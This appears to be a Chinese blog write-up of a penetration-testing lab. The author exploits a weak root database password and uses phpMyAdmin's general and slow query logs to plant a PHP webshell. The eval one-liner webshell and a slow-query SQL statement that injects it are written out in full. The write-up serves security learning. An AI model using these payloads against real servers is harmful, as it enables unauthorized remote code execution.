靶机搭建

  1. 下载地址:
    靶机下载地址
  2. 一共四台机子

    • win7:web服务器(两张网卡,内网和外网,防火墙)

      • 外网: 192.168.206.129
      • 内网: 192.168.44.128
    • server2003:域成员(内网)

      • 内网: 192.168.44.129
    • server2008:域控(内网)

      • 内网: 192.168.44.130
    • kali:攻击机

      • 外网: 192.168.206.128
  3. 打开web服务器的phpstudy
    image.png

靶场搭建完毕!

  1. 探测一下数据库,发现是弱密码

    • username: root
    • password: root
      image.png
  2. nmap扫描一下端口
    image.png
  3. dirsearch扫一下目录
    image.png
    发现phpmyAdmin,账户名和密码都是root,可以通过phpmyAdmin来写shell了!
  4. phpmyAdmin写webShell
    看一下网上大佬们是怎么写shell的:

    • select into outfile 语句直接写入Webshell.

      • 条件: root数据库用户,secure_file_priv的值为" "(注意是为" "而不是"NULL"),有权限写入绝对路径的文件夹
    • 创建数据库和表写webShell

      • 条件:与第一种方法一样
    • 开启全局日志getshell

      • 条件:与第一种方法一样
    • 通过慢查询写webShell

      • 条件:需要有写入权限

    总结来说就是要找个方法把shell写到本地。
    image.png
    查询之后发现secure_file_priv的值为NULL说明不能写入。我们把每个方法都试一试,看看到底行不行^ ^。

    • select into outfile:

    image.png第一种方法失败了.

    • 创建数据库和表写webShell:
      image.png
    • 开启全局日志getShell

    image.png
    image.png
    image.png
    芜湖~成功啦。去看看写进去了没。
    image.png
    成功写入,找个蚁剑看看能不能连上!一句话写错了。。一直连不上:
    <?php @eval($_POST['cmd']); ?>应该是这样。
    成功连上!image.png

    • 通过慢查询写入webShell
      image.png

    将慢查询开启,并设置慢查询日志路径:
    image.png
    image.png
    进行慢查询,让一句话插到日志里面:
    select '<?php @eval($_POST[cmd]);?>' from mysql.DB where sleep(10);
    image.png

总结:全局日志和慢查询跟secure_file_priv的值无关,只需要有写的权限就可以啦

想说的话

干了两个星期开发觉得还是做安全好0 0,研究生毕业前重新把安全捡起来!顺便试试看能不能审计审计java代码,哈哈。


z2h
1 声望0 粉丝